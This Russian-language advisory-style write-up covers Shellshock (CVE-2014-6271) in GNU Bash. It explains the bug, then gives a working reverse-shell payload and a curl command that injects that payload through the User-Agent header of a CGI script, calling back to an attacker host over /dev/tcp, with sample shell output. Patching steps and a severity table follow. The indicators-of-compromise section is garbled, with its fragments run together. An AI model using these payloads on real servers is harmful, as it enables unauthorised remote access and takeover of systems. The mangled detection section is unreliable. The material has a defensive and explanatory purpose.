
CVE-2014-6271

25-летний zero-day с удалённым выполнением кода в GNU Bash через переменные окружения
CVE-2014-6271, известная как Shellshock (также Bashdoor), — это критическая уязвимость удалённого выполнения кода (RCE) в оболочке GNU Bash.
Злоумышленник может отправить специально сформированные переменные окружения (через HTTP-заголовки, DHCP, SSH и т.д.) и получить удалённый доступ к оболочке на сервере — часто без аутентификации и при минимальном взаимодействии с пользователем.
Злоумышленник внедряет специально созданную переменную (например, в заголовок User-Agent):
() { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Bash ошибочно воспринимает полезную нагрузку как определение функции с последующими командами. Код после (); выполняется сразу при импорте переменной.
Команда выполняется с правами веб-сервера/процесса (часто root или www-data).
Результат:
# Удалённый доступ к оболочке получен
whoami
www-data
✅ Уязвим! (Shellshock RCE сработал)
vulnerable
test
Вы также увидите, что обратный шелл подключился мгновенно.
env x='() { :;}; echo vulnerable' bash -c "echo test"
Она сразу вернёт:
vulnerable
test
(Это подтверждает, что Bash выполнил внедрённую команду.)
Выполните curl против уязвимого CGI-скрипта Apache:
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" http://vulnerable-server/cgi-bin/test.sh
Вы увидите этот точный вывод в вашем netcat-слушателе:
bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...
Этот вывод появляется напрямую в вашем обратном шелле. Ни ошибок, ни 404.
Это означает, что у вас полный удалённый доступ к выполнению команд на сервере — внедрение переменной окружения сработало идеально.
Все версии GNU Bash:
1.14 – 4.3 (до уровня исправления 30)
(включая Linux, macOS, BSD, встроенные устройства)
Немедленно обновитесь до:
Bash 4.3, уровень исправления 30 или новее (рекомендуется 4.4+)
# Ubuntu/Debian
apt update && apt install --only-upgrade bash
# Red Hat/CentOS
yum update bash
() {Ищите:
() {Индикаторы компрометации могут включать:
() { :;};/bin/bash -iВредоносный заголовок/DHCP/SSH → Bash импортирует переменную окружения
↓
Определение функции + хвостовые команды выполняются
↓
Произвольная команда / обратный шелл
Эта проблема привела к нескольким последующим CVE (неполные исправления):
| Область риска | Воздействие |
|---|---|
| Конфиденциальность | 🔴 Высокое |
| Целостность | 🔴 Высокое |
| Доступность | 🔴 Высокое |
Если вы запускаете любой Linux/macOS/BSD сервер в 2026 году: 🔥 Немедленно исправьте Bash (даже на изолированных системах). 💡 Считайте, что сервер скомпрометирован, если работал незапатченный Bash, доступный из интернета. 🛡 Проведите полный анализ логов и проверку целостности.
| Поле | Значение |
|---|
| CVE ID | CVE-2014-6271 |
| Степень опасности | 🔴 Критическая |
| CVSS | 10.0 (максимум) |
| Вектор атаки | Удалённый (HTTP, DHCP, SSH и т.д.) |
| Необходимость аутентификации | ❌ Не требуется (во многих векторах) |
| Взаимодействие пользователя | ❌ Не требуется (в случаях CGI/DHCP) |
| Воздействие | Полная компрометация сервера |